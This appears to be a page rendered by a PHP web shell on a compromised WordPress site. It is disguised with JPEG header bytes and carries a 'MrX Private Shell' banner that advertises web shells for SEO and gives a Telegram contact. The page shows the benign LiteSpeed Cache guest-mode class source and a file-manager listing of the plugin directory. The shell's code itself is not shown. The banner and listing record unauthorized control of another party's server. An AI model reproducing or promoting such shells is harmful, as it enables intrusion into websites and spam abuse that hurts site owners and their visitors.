����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Guest mode management class.
*
* Handles syncing of Guest Mode IP and UA lists from QUIC.cloud.
*
* @package LiteSpeed
* @since 7.7
*/
namespace LiteSpeed;
defined( 'WPINC' ) || exit();
/**
* Class Guest
*
* Extends Cloud class to provide Guest Mode related functionality.
*/
class Guest extends Cloud {
const LOG_TAG = '👤';
const TYPE_SYNC = 'sync';
/**
* Cron handler for daily Guest Mode sync.
*
* @since 7.7
* @return void
*/
public static function cron() {
self::debug( 'Cron: starting daily sync' );
self::cls()->sync_lists();
}
/**
* Sync Guest Mode IP and UA lists.
*
* Fetches the latest IP and UA lists from QUIC.cloud API and saves them locally.
*
* @since 7.7
* @return array{success: bool, message: string}
*/
public function sync_lists() {
self::debug( 'Starting Guest Mode lists sync' );
$cloud_dir = LITESPEED_STATIC_DIR . '/cloud';
$results = [
'ips' => false,
'uas' => false,
];
foreach ( [ 'ips', 'uas' ] as $type ) {
$data = $this->_fetch_api( $this->_cloud_server_wp . '/gm_' . $type );
if ( $data && File::save( $cloud_dir . '/gm_' . $type . '.txt', $data, true ) ) {
self::debug( 'Guest Mode ' . $type . ' synced' );
$results[ $type ] = true;
}
}
$success = $results['ips'] && $results['uas'];
$message = $success
? __( 'Guest Mode lists synced successfully.', 'litespeed-cache' )
: __( 'Failed to sync Guest Mode lists.', 'litespeed-cache' );
return [
'success' => $success,
'message' => $message,
];
}
/**
* Fetch data from API.
*
* @since 7.7
* @param string $url API URL.
* @return string|false Data on success, false on failure.
*/
private function _fetch_api( $url ) {
self::debug( 'Fetching: ' . $url );
$response = wp_remote_get(
$url,
[
'timeout' => 15,
]
);
if ( is_wp_error( $response ) ) {
self::debug( 'Fetch error: ' . $response->get_error_message() );
return false;
}
$code = wp_remote_retrieve_response_code( $response );
if ( 200 !== $code ) {
self::debug( 'Fetch failed with code: ' . $code );
return false;
}
$body = wp_remote_retrieve_body( $response );
if ( empty( $body ) ) {
self::debug( 'Empty response body' );
return false;
}
return $body;
}
/**
* Handle all request actions from main class.
*
* @since 7.7
* @return void
*/
public function handler() {
$type = Router::verify_type();
switch ( $type ) {
case self::TYPE_SYNC:
$result = $this->sync_lists();
if ( Router::is_ajax() ) {
wp_send_json( $result );
}
if ( $result['success'] ) {
Admin_Display::success( $result['message'] );
} else {
Admin_Display::error( $result['message'] );
}
break;
default:
break;
}
Admin::redirect();
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| cdn | Folder | 0755 |
|
|
| data_structure | Folder | 0755 |
|
|
| activation.cls.php | File | 17.31 KB | 0644 |
|
| admin-display.cls.php | File | 48.47 KB | 0644 |
|
| admin-settings.cls.php | File | 11.12 KB | 0644 |
|
| admin.cls.php | File | 6.13 KB | 0644 |
|
| api.cls.php | File | 10.36 KB | 0644 |
|
| avatar.cls.php | File | 8.65 KB | 0644 |
|
| base.cls.php | File | 37.66 KB | 0644 |
|
| cdn.cls.php | File | 15.92 KB | 0644 |
|
| cloud-auth-callback.trait.php | File | 10.43 KB | 0644 |
|
| cloud-auth-ip.trait.php | File | 4.33 KB | 0644 |
|
| cloud-auth.trait.php | File | 9.38 KB | 0644 |
|
| cloud-misc.trait.php | File | 10.32 KB | 0644 |
|
| cloud-node.trait.php | File | 5.95 KB | 0644 |
|
| cloud-request.trait.php | File | 19.68 KB | 0644 |
|
| cloud.cls.php | File | 7.32 KB | 0644 |
|
| conf.cls.php | File | 19.53 KB | 0644 |
|
| control.cls.php | File | 24.35 KB | 0644 |
|
| core.cls.php | File | 20.97 KB | 0644 |
|
| crawler-map.cls.php | File | 19.41 KB | 0644 |
|
| crawler.cls.php | File | 44.72 KB | 0644 |
|
| css.cls.php | File | 17.77 KB | 0644 |
|
| data.cls.php | File | 22.21 KB | 0644 |
|
| data.upgrade.func.php | File | 5.72 KB | 0644 |
|
| db-optm.cls.php | File | 15.35 KB | 0644 |
|
| debug2.cls.php | File | 18.4 KB | 0644 |
|
| doc.cls.php | File | 5.45 KB | 0644 |
|
| error.cls.php | File | 7.35 KB | 0644 |
|
| esi.cls.php | File | 27.18 KB | 0644 |
|
| file.cls.php | File | 10.57 KB | 0644 |
|
| guest.cls.php | File | 2.75 KB | 0644 |
|
| gui.cls.php | File | 36.57 KB | 0644 |
|
| health.cls.php | File | 2.83 KB | 0644 |
|
| htaccess.cls.php | File | 29.81 KB | 0644 |
|
| img-optm-manage.trait.php | File | 30.85 KB | 0644 |
|
| img-optm-pull.trait.php | File | 22.1 KB | 0644 |
|
| img-optm-send.trait.php | File | 21.9 KB | 0644 |
|
| img-optm.cls.php | File | 5.26 KB | 0644 |
|
| import.cls.php | File | 4.29 KB | 0644 |
|
| import.preset.cls.php | File | 5.5 KB | 0644 |
|
| lang.cls.php | File | 17.02 KB | 0644 |
|
| localization.cls.php | File | 4.03 KB | 0644 |
|
| media.cls.php | File | 44.08 KB | 0644 |
|
| metabox.cls.php | File | 5.29 KB | 0644 |
|
| object-cache-wp.cls.php | File | 18.82 KB | 0644 |
|
| object-cache.cls.php | File | 20.95 KB | 0644 |
|
| object.lib.php | File | 14.16 KB | 0644 |
|
| optimize.cls.php | File | 38.64 KB | 0644 |
|
| optimizer.cls.php | File | 10.5 KB | 0644 |
|
| placeholder.cls.php | File | 17.93 KB | 0644 |
|
| purge.cls.php | File | 34.41 KB | 0644 |
|
| report.cls.php | File | 6.12 KB | 0644 |
|
| rest.cls.php | File | 9.08 KB | 0644 |
|
| root.cls.php | File | 14.29 KB | 0644 |
|
| router.cls.php | File | 20.76 KB | 0644 |
|
| str.cls.php | File | 3.08 KB | 0644 |
|
| tag.cls.php | File | 9.26 KB | 0644 |
|
| task.cls.php | File | 7.05 KB | 0644 |
|
| tool.cls.php | File | 4.17 KB | 0644 |
|
| ucss.cls.php | File | 16.35 KB | 0644 |
|
| utility.cls.php | File | 26.01 KB | 0644 |
|
| vary.cls.php | File | 21.33 KB | 0644 |
|
| vpi.cls.php | File | 9.38 KB | 0644 |
|